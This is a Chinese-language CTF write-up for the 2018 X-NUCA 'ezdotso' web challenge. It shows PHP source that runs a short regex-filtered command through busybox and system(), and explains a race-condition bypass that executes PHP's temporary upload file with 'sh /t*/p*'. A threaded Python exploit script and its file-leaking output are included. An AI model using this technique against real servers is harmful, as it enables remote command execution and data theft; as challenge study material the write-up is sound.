2018 X-NUCA ezdotso 条件竞争解法

wuwuwu**** / 2018-12-05 00:01:00 / 浏览数 3073 安全技术 CTF 顶(0) 踩(0)

---

ezdotso

题目给了一个源码和一个so文件

源码如下（稍微加了一点输出）

```
<?
$param = array();
parse_str($_SERVER['QUERY_STRING']);
if (isset($action)){
   switch($action){
       case "php_info":
       echo call_user_func_array("php_info",$param);
       break;
       case "cmd":
       if(isset($cmd)){
           if(is_string($cmd)){
               if (strlen($cmd)>9){
                   die();
               }
               $pat1 = "/[^0-9a-zA-Z \/\*]/";
               $count1 = preg_match($pat1, $cmd);
               echo $count1;
               echo "<br>";
               if ($count1>0){
                   die("1111");
               }
               $pat2 = "/^[a-zA-Z]+ [0-9a-zA-Z\/\*]+$/";
               $count2 = preg_match($pat2, $cmd);
               echo $count2;
               echo "<br>";
               if ($count2==0){
                   die("2222");
               }
               $c = "busybox ".$cmd;
               system($c);
           }
       }
       break;
       default:
       echo call_user_func_array("hello",$param);
       break;
   }
}else{
   show_source(__FILE__);
}
```

可以明显的看到有三个功能

- php_info 显示phpinfo
- cmd 执行命令的
- Hello 看起来没啥用，官方的预期解法就在这里

通过查看phpinfo 我们可以看到加载了ezdotso.so ，出题人的意思应该是让我们去分析so文件，但是作为web狗怎么能向二进制低头呢？

直接看没有涉及到ezdotso.so 的东西，也就是action=cmd的部分。

要满足三个条件才能执行

- cmd长度不能大于9
- 不能包含0-9a-zA-Z /* 以外的字符
- 只能是以字符+空格+0-9a-zA-Z /* 的形式

通过cmd=ls /h*/* 可以发现有个readflag 程序，所以思路比较清晰了运行readflag 就能拿到flag了。

可以通过busybox /h*/r* 但是这样不满足正则。陷入僵局。

php上传产生的临时文件再次发挥了作用

php在上传文件的时候会在/tmp/ 文件夹下面生成/tmp/phpxxxxxx 文件，所以我们可以在上传的同时去执行

sh /t*/p* 刚好9个字符。

下面是利用脚本

```
import requests
import threading
import os

url = "http://u.cn:3423"

payload = "sh /t*/p*"
assert(len(payload)<10)
params = {"action":"cmd", "cmd":payload}
files = {"hhh":"cat /var/www/html/index.php"}

def go():
   r = requests.post(url, params=params, files=files)
   #print(repr(r.text))
   if "0<br>1<br>" != r.text:
       print(r.text)
       os._exit(0)


def upload():
   r = requests.post(url, files=files)

while True:
   t = threading.Thread(target=go, args=())
   t.start()
   #t = threading.Thread(target=upload, args=())
   #t.start()
```

```
➜ ezdotso python3 exp.py
0<br>1<br><?php
$param = array();
parse_str($_SERVER['QUERY_STRING']);
if (isset($action)){
    switch($action){
        case "php_info":
        echo call_user_func_array("php_info",$param);
        break;
        case "cmd":
        if(isset($cmd)){
            if(is_string($cmd)){
                if (strlen($cmd)>9){
                    die();
                }
                $pat1 = "/[^0-9a-zA-Z \/\*]/";
                $count1 = preg_match($pat1, $cmd);
                echo $count1;
                echo "<br>";
                if ($count1>0){
                    die("1111");
                }
                $pat2 = "/^[a-zA-Z]+ [0-9a-zA-Z\/\*]+$/";
                $count2 = preg_match($pat2, $cmd);
                echo $count2;
                echo "<br>";
                if ($count2==0){
                    die("2222");
                }
                $c = "busybox ".$cmd;
                #echo $c;
                system($c);
                #system($cmd);
            }
        }
        break;
        default:
        echo call_user_func_array("hello",$param);
        break;
    }
}else{
    show_source(__FILE__);
}

➜ ezdotso
```


上一篇：中通分布式被动安全扫描实践 下一篇：KingMiner门罗币挖矿恶意软件分析

1. 0 条回复
   - 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板